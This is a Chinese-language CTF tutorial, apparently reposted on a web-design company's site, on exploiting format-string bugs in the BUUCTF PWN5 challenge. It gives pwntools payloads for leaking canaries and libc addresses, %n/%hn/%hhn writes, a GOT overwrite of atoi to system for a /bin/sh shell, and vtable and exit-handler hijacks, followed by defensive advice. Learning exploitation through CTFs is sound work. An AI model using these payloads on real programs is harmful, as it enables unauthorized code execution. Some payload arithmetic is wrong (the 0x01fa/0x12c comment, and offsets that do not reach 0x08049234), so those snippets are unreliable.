从PWN5看格式化字符串:除了改GOT,我们还能怎么玩?(附三种实战思路)
2026/6/11 15:25:58 网站建设 项目流程

格式化字符串漏洞的多元利用艺术:从PWN5看CTF攻防进阶

在CTF竞赛和二进制安全研究中,格式化字符串漏洞(Format String Vulnerability)始终占据着特殊地位。这种源于程序员对用户输入数据缺乏验证的漏洞,看似简单却蕴含着惊人的利用潜力。本文将以BUUCTF平台上的PWN5题目为切入点,系统性地探讨格式化字符串漏洞在实战中的多种利用范式,帮助安全研究人员建立更全面的漏洞利用思维框架。

1. 格式化字符串漏洞的核心原理回顾

格式化字符串漏洞的本质在于程序将用户输入直接作为printf等格式化函数的第一个参数。当攻击者能够控制格式化字符串时,便获得了读写内存的"上帝之手"。这种能力源于格式化符号(如%x%s%n等)的特殊处理机制:

// 漏洞代码示例 char user_input[100]; read(0, user_input, sizeof(user_input)); printf(user_input); // 危险!用户控制格式化字符串

在32位系统中,格式化函数的参数通过栈传递;而在64位系统中,前六个参数通过寄存器传递,之后的参数仍使用栈。这种差异直接影响着漏洞利用时偏移量的计算方式。

关键格式化符号解析

格式化符号功能描述利用价值
%x以十六进制输出栈上数据信息泄露
%s输出指针指向的字符串任意地址读
%n将已输出字符数写入指定地址任意地址写
%c输出字符控制输出长度
%p输出指针地址地址泄露

在PWN5这道题目中,漏洞点出现在以下代码段:

printf("your name:"); read(0, buf, 0x63u); printf("Hello,"); printf(buf); // 格式化字符串漏洞点

通过精心构造输入数据,攻击者可以利用这个漏洞点实现从信息泄露到任意代码执行的多层次攻击。

2. 信息泄露:格式化字符串的侦察兵作用

在漏洞利用的初期阶段,信息泄露往往是打开突破口的关键。格式化字符串漏洞提供了多种信息泄露方式,每种方式对应不同的应用场景。

2.1 栈数据泄露与偏移计算

最基本的利用方式是使用%x%p泄露栈上数据。在PWN5中,通过输入AAAA-%p-%p-%p-%p-%p可以快速确定格式化字符串的偏移位置:

Hello,AAAA-0x41-0xf7fb45c0-0x8048526-0x1-0xfff4b8f4

观察到0x41(字母'A'的ASCII码)出现在第一个%p输出位置,说明偏移量为1(64位系统通常从6开始)。准确计算偏移是后续利用的基础。

2.2 关键防护机制绕过

现代二进制程序通常配备多种防护机制,格式化字符串可以帮助我们绕过这些防护:

  1. Canary泄露

    payload = b'%23$p' # 假设canary位于第23个参数位置 p.sendline(payload) canary = int(p.recvline(), 16)
  2. PIE绕过: 通过泄露程序代码段地址,可以计算出基址,从而绕过地址随机化:

    payload = b'%15$p' # 泄露函数返回地址 p.sendline(payload) text_leak = int(p.recvline(), 16) base_addr = text_leak - 0x1234 # 根据泄露值调整偏移
  3. Libc地址泄露: 通过泄露GOT表中的函数地址,可以计算出libc基址:

    payload = b'%9$s'+p32(printf_got) # 读取printf的实际地址 p.sendline(payload) printf_addr = u32(p.recv(4)) libc_base = printf_addr - libc.sym['printf']

在PWN5中,虽然开启了Canary和NX保护,但部分RELRO意味着我们可以修改GOT表,这为后续利用提供了多种可能性。

3. 任意地址写:格式化字符串的精准打击能力

%n格式化符赋予了格式化字符串漏洞任意地址写的能力,这是实现最终攻击的关键。根据不同的利用场景,我们可以采用多种写入策略。

3.1 直接修改关键变量

PWN5的最直观解法就是修改dword_804C044变量的值,使其与后续输入的密码匹配。这种方法的payload构造相对简单:

bss_addr = 0x804C044 payload = p32(bss_addr) + b'%10$n' # 将已输出字节数(4)写入bss_addr p.sendline(payload) p.sendline(b'4') # 匹配修改后的值

更精细的控制可以通过组合使用%hn(2字节写)和%hhn(1字节写)来实现:

payload = (p32(bss_addr) + p32(bss_addr+1) + b'%250c%10$hhn%50c%11$hhn') # 写入0x01fa (250+50=300=0x12c)

3.2 GOT表劫持技术

修改GOT表是格式化字符串漏洞利用的经典手法。在PWN5中,我们可以将atoi的GOT项改为system的PLT地址:

atoi_got = elf.got['atoi'] system_plt = elf.plt['system'] payload = fmtstr_payload(10, {atoi_got: system_plt}) p.sendline(payload) p.sendline(b'/bin/sh\x00') # 触发atoi即调用system("/bin/sh")

这种方法的关键优势在于不需要知道libc基址,只需利用程序自身的PLT表即可。

3.3 高阶写入技巧

对于更复杂的情况,我们可以采用分层写入策略:

  1. 多阶段写入:先写入地址低位,再写入高位
  2. 栈迁移技术:通过修改栈指针控制程序流
  3. 链式写入:利用已写入的地址作为下一步写入的基础

例如,构造ROP链时可能需要多次写入:

# 假设需要将0x08049234写入0x804c100 payload = (p32(0x804c100) + p32(0x804c102) + b'%4916c%10$hn%8738c%11$hn') # 4916 = 0x1334 - 8, 8738 = 0x3492 - 0x1334

4. 非常规利用路径:突破思维定式

除了上述常规方法,格式化字符串漏洞还有一些鲜为人知但极具威力的利用方式。

4.1 _IO_FILE结构体利用

通过覆盖_IO_FILE结构体中的虚表指针,可以在程序执行文件操作时劫持控制流。这种方法在特定条件下可以绕过某些防护机制:

# 修改stdout的_IO_FILE结构体 payload = fmtstr_payload(10, {stdout_vtable: crafted_vtable})

4.2 exit函数链表劫持

程序在退出时会调用通过__exit_funcs注册的函数,我们可以通过格式化字符串修改这些函数指针:

exit_funcs = elf.sym['__exit_funcs'] payload = fmtstr_payload(10, {exit_funcs: shellcode_addr})

4.3 动态链接器利用

在某些情况下,我们可以通过修改动态链接器相关的数据结构(如_dl_runtime_resolve)来实现更隐蔽的攻击:

# 修改重定位相关结构 payload = fmtstr_payload(10, {reloc_offset: crafted_info})

5. 防御与检测:构建安全防线

了解攻击手段的同时,我们也需要掌握相应的防御措施:

编译期防护

  • 启用FORTIFY_SOURCE检测格式化字符串滥用
  • 设置RELRO级别为Full防止GOT表修改
  • 使用-Wformat-security编译选项

运行时防护

  • 部署Stack Canary检测栈破坏
  • 启用ASLR增加地址预测难度
  • 使用现代内存防护技术如CET

代码审计要点

  • 检查所有格式化函数的使用是否安全
  • 验证用户输入是否直接作为格式化字符串
  • 使用静态分析工具扫描潜在漏洞

在开发实践中,安全的格式化函数使用方式应该是:

// 安全用法 printf("%s", user_input); // 或者 syslog(LOG_INFO, "%s", user_input);

格式化字符串漏洞的利用艺术远不止于简单的GOT表覆盖。从信息收集到精准打击,从常规路径到非常规突破,安全研究者需要建立多维度的利用思维。PWN5作为一道经典题目,恰好为我们提供了演练这些技术的绝佳平台。在实际漏洞研究中,往往需要根据具体防护措施和程序特性,灵活组合多种技术才能实现最终的攻击目标。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询